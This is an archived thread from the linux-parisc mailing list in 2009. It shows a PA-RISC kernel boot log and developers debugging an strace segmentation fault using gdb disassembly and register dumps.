Linux version 2.6.30-rc4 (root@mx3210) (gcc version 4.3.3 (GCC) ) #2 Wed May 6 07:58:24 EDT 2009
unwind_init: start = 0x40410004, end = 0x40434f64, entries = 9462
WARNING: Out of order unwind entry! 0000000040411a24 and 0000000040411a34
WARNING: Out of order unwind entry! 0000000040411a34 and 0000000040411a44
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000000100000000 End 0x000000027fdfffff Size   6142 MB
 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
Total Memory: 10238 MB
initrd: 7fa29000-7ffee9ee
initrd: reserving 3fa29000-3ffee9ee (mem_max 27fe00000)
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2585095
Kernel command line: root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux
NR_IRQS:128
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
		    | spin |wlock |rlock |mutex | wsem | rsem |

  --------------------------------------------------------------------------
	      A-A deadlock:failed|failed|  ok  |failed|failed|failed|
	  A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
      A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
      A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
	 A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
	 A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
	 A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
	            double unlock:failed|failed|failed|  ok  |failed|failed|
		  initialize held:failed|failed|failed|failed|failed|failed|
		 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
	      recursive read-lock:             |  ok  |             |failed|
	   recursive read-lock #2:             |  ok  |             |failed|
	    mixed read-write-lock:             |failed|             |failed|
	    mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
144 out of 218 testcases failed, as expected. |
----------------------------------------------------
Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)
Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Memory: 10282876k/10483712k available (2531k kernel code, 199328k reserved, 1324k data, 164k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
      .init : 0x0000000040570000 - 0x0000000040599000   ( 164 kB)
      .data : 0x0000000040378d20 - 0x00000000404c4000   (1324 kB)
      .text : 0x0000000040100000 - 0x0000000040378d20   (2531 kB)
Calibrating delay loop... 1597.44 BogoMIPS (lpj=3194880)
Mount-cache hash table entries: 256
net_namespace: 1304 bytes
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 129 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 152 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 153 failed with error 1
CPU(s): 1 x PA8800 (Mako) at 800.007300 MHz
Setting cache flush threshold to 14e6240 (1 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.0: PME# disabled
pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.1: PME# disabled
pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.2: PME# disabled
Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
pci 0000:20:02.0: PME# supported from D3hot D3cold
pci 0000:20:02.0: PME# disabled
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
LBA: Truncating lmmio_space [fffffffff0000000/fffffffffecffffe] to [fffffffff0000000,fffffffffe77ffff]
powersw: Soft power switch support not available.
bio: create slab <bio-0> at 0
NET: Registered protocol family 2
IP route cache hash table entries: 524288 (order: 10, 4194304 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 7, 524288 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
NET: Registered protocol family 1
checking if image is initramfs...
rootfs image is initramfs; unpacking...
Freeing initrd memory: 5910k freed
Performance monitoring counters enabled for Storm Peak Slow
Initializing RT-Tester: OK
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
msgmni has been set to 20098
alg: No test for stdrng (krng)
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
Linux agpgart interface v0.103
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 72) is a 16550A
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 72) is a 16550A
console handover: boot [ttyB0] -> real [ttyS1]
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 72) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 72) is a 16550A
brd: module loaded
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
mice: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
TCP cubic registered
rtc-generic rtc-generic: setting system clock to 2009-05-06 12:22:08 UTC (1241612528)
Freeing unused kernel memory: 164k freed
Loading, please wait...
Begin: Loading essential drivers ... done.
Begin: Running /scripts/init-premount ... SCSI subsystem initialized
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 69
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
scsi 0:0:0:0: Direct-Access     HP 36.4G ST336753LC       HPC3 PQ: 0 ANSI: 3
 target0:0:0: tagged command queuing enabled, command queue depth 16.
 target0:0:0: Beginning Domain Validation
 target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
 target0:0:0: Ending Domain Validation
tg3.c:v3.98 (February 25, 2009)
tg3 0000:20:02.0: PME# disabled
eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:16:4d
eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1])
eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 70
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
scsi 1:0:2:0: Direct-Access     FUJITSU  MAJ3364MC        HP12 PQ: 0 ANSI: 2
 target1:0:2: tagged command queuing enabled, command queue depth 16.
 target1:0:2: Beginning Domain Validation
 target1:0:2: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
 target1:0:2: Ending Domain Validation
Driver 'sd' needs updating - please use bus_type methods
sd 0:0:0:0: [sda] 71132960 512-byte hardware sectors: (36.4 GB/33.9 GiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 1:0:2:0: [sdb] Write Protect is off
sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
sd 1:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
 sda:<6> sdb: sda1 sda2 sda3
sd 0:0:0:0: [sda] Attached SCSI disk
 unknown partition table
sd 1:0:2:0: [sdb] Attached SCSI disk
done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
Begin: Running /scripts/local-premount ... done.



Firmware Version  45.11

Duplex Console IO Dependent Code (IODC) revision 1


--X1bOJ3K7DJ5YkBrT--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Wed, 6 May 2009 12:25:22 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <20090506162522.GF3094@bombadil.infradead.org>
References: <20090506160442.GE3094@bombadil.infradead.org> <20090506161937.CD3174EE8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241627140 24546 80.91.229.12 (6 May 2009 16:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 May 2009 16:25:40 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 06 18:25:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1jw0-0006dZ-S4
	for glpp-linux-parisc@gmane.org; Wed, 06 May 2009 18:25:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754115AbZEFQZ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 May 2009 12:25:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753570AbZEFQZ1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 May 2009 12:25:27 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53852 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753487AbZEFQZ0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 May 2009 12:25:26 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1jvu-0007ou-SV; Wed, 06 May 2009 16:25:23 +0000
Content-Disposition: inline
In-Reply-To: <20090506161937.CD3174EE8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1673 gmane.linux.debian.ports.hppa:5695
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1673>

On Wed, May 06, 2009 at 12:19:37PM -0400, John David Anglin wrote:
> > On Tue, May 05, 2009 at 03:46:57PM -0400, John David Anglin wrote:
> > > > On Tue, May 05, 2009 at 03:09:50PM -0400, John David Anglin wrote:
> > > > > Probably, the cast should be to int.  __canonicalize_funcptr_for_compare
> > > > > isn't used in the 64-bit runtime.
> > > > > 
> > > > > Still, I'm not sure why this fixed the problem as
> > > > > __canonicalize_funcptr_for_compare checks for -1.
> > > > > 
> > > > 
> > > > If we cast both sides to int, then we don't generate a call there...
> > > 
> > > That will certainly fix the problem but I'd really like to know
> > > why we get a segv.  I suspect we are not handling a deferred function
> > > pointer correctly.
> > > 
> > 
> > At a guess, you're probably right, the faulting insn is a load:
> > 
> > 0x0002b3a8 <__canonicalize_funcptr_for_compare+48>:	bb,>= r26,1e,0x2b394 <__canonicalize_funcptr_for_compare+28>
> > 0x0002b3ac <__canonicalize_funcptr_for_compare+52>:	copy r26,r3
> > 0x0002b3b0 <__canonicalize_funcptr_for_compare+56>:	addil L%800,dp,r1
> > 0x0002b3b4 <__canonicalize_funcptr_for_compare+60>:	ldw 294(r1),ret1
> > 0x0002b3b8 <__canonicalize_funcptr_for_compare+64>:	depwi 0,31,2,r3
> > 0x0002b3bc <__canonicalize_funcptr_for_compare+68>:	ldw 0(r3),r26
> > 
> > god knows I can't recall how DEP*I work, but I guess this is clearing
> > the bottom two bits of %r3 if bit 31 is set in %r26?
> > 
> > (gdb) p/x $r3 
> > $3 = 0x407d2f18
> > (gdb) p/x $r26
> > $4 = 0x407d2f1a
> > 
> > This looks like the sigaction handler, (it appears __canon..._compare
> > detects -1 already.)
> 
> This all seems correct.  r3 should be pointing to a function descriptor
> for the sigaction handler (plabel bit is set).  What is the interruption
> generated by the ldw at 0x0002b3bc?
> 

The tombstone is:

do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
vm_start = 0x4068d000, vm_end = 0x4068f000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011 Not tainted
r00-03  000000ff0004ff0b 0000000000040aec 0000000000025fef
00000000407d2f18
r04-07  0000000000000004 000000000004e060 000000000004b0c0
0000000000040aec
r08-11  00000000bff84254 000000000004b0b8 0000000000040300
0000000000040db8
r12-15  0000000000042aec 0000000000042eec 0000000000040aec
000000000004b0b0
r16-19  000000000004b0a8 0000000000040db0 0000000000042dec
000000004068af74
r20-23  0000000000000000 00000000405bf940 0000000000000000
00000000bff84608
r24-27  0000000000000004 00000000bff84588 00000000407d2f1a
00000000000402ec
r28-31  0000000000000fff 0000000000040d70 00000000bff845c0
000000004061033f
sr00-03  0000000007acc800 00000000003ee000 0000000000000000
0000000007acc800
sr04-07  0000000007acc800 0000000007acc800 0000000007acc800
0000000007acc800

IASQ: 0000000007acc800 0000000007acc800 IAOQ: 000000000002b3bf
000000000002b3c3
 IIR: 0c60109a    ISR: 0000000007acc800  IOR: 00000000407d2f18
 CPU:        3   CR30: 000000007da88000 CR31: fffffff0f0e098e0
 ORIG_R28: 00000000bff84608
 IAOQ[0]: 000000000002b3bf
 IAOQ[1]: 000000000002b3c3
 RP(r2): 0000000000025fef


cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Wed, 6 May 2009 13:39:49 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20090506173950.0F5244FC6@hiauly1.hia.nrc.ca>
References: <20090506162522.GF3094@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241631607 8956 80.91.229.12 (6 May 2009 17:40:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 May 2009 17:40:07 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 06 19:39:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1l61-0004FW-A0
	for glpp-linux-parisc@gmane.org; Wed, 06 May 2009 19:39:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753184AbZEFRjv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 May 2009 13:39:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752248AbZEFRjv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 May 2009 13:39:51 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4800 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751175AbZEFRju (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 May 2009 13:39:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0F5244FC6; Wed,  6 May 2009 13:39:50 -0400 (EDT)
In-Reply-To: <20090506162522.GF3094@bombadil.infradead.org> from "Kyle McMartin" at May 6, 2009 12:25:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1674 gmane.linux.debian.ports.hppa:5696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1674>

> The tombstone is:
> 
> do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> vm_start = 0x4068d000, vm_end = 0x4068f000

So, the pointer passed to __canonicalize_funcptr_for_compare is outside
the vm range.

Maybe "info sharedlib" will show something.  Need to find out why the
address of the function descriptor is outside the vm range.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 7 May 2009 12:52:16 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090507165216.GB30675@bombadil.infradead.org>
References: <20090506162522.GF3094@bombadil.infradead.org> <20090506173950.0F5244FC6@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241715159 20240 80.91.229.12 (7 May 2009 16:52:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 May 2009 16:52:39 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 07 18:52:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M26pg-0000av-Gc
	for glpp-linux-parisc@gmane.org; Thu, 07 May 2009 18:52:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753316AbZEGQw0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 May 2009 12:52:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754163AbZEGQw0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 May 2009 12:52:26 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52379 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753316AbZEGQwZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 May 2009 12:52:25 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M26pU-00030B-25; Thu, 07 May 2009 16:52:16 +0000
Content-Disposition: inline
In-Reply-To: <20090506173950.0F5244FC6@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1675 gmane.linux.debian.ports.hppa:5697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1675>

On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
> > The tombstone is:
> > 
> > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> > vm_start = 0x4068d000, vm_end = 0x4068f000
> 
> So, the pointer passed to __canonicalize_funcptr_for_compare is outside
> the vm range.
> 
> Maybe "info sharedlib" will show something.  Need to find out why the
> address of the function descriptor is outside the vm range.
> 

405c0000-405c2000 rwxp 405c0000 00:00 0 

is the output of /proc/maps there... No idea wtf this is. :/

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 7 May 2009 13:41:03 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20090507174104.1634E4EE8@hiauly1.hia.nrc.ca>
References: <20090507165216.GB30675@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241718089 30482 80.91.229.12 (7 May 2009 17:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 May 2009 17:41:29 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 07 19:41:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M27aq-0000xm-Ax
	for glpp-linux-parisc@gmane.org; Thu, 07 May 2009 19:41:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755705AbZEGRlG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 May 2009 13:41:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761143AbZEGRlF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 May 2009 13:41:05 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4850 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755191AbZEGRlE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 May 2009 13:41:04 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1634E4EE8; Thu,  7 May 2009 13:41:03 -0400 (EDT)
In-Reply-To: <20090507165216.GB30675@bombadil.infradead.org> from "Kyle McMartin" at May 7, 2009 12:52:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1676 gmane.linux.debian.ports.hppa:5698
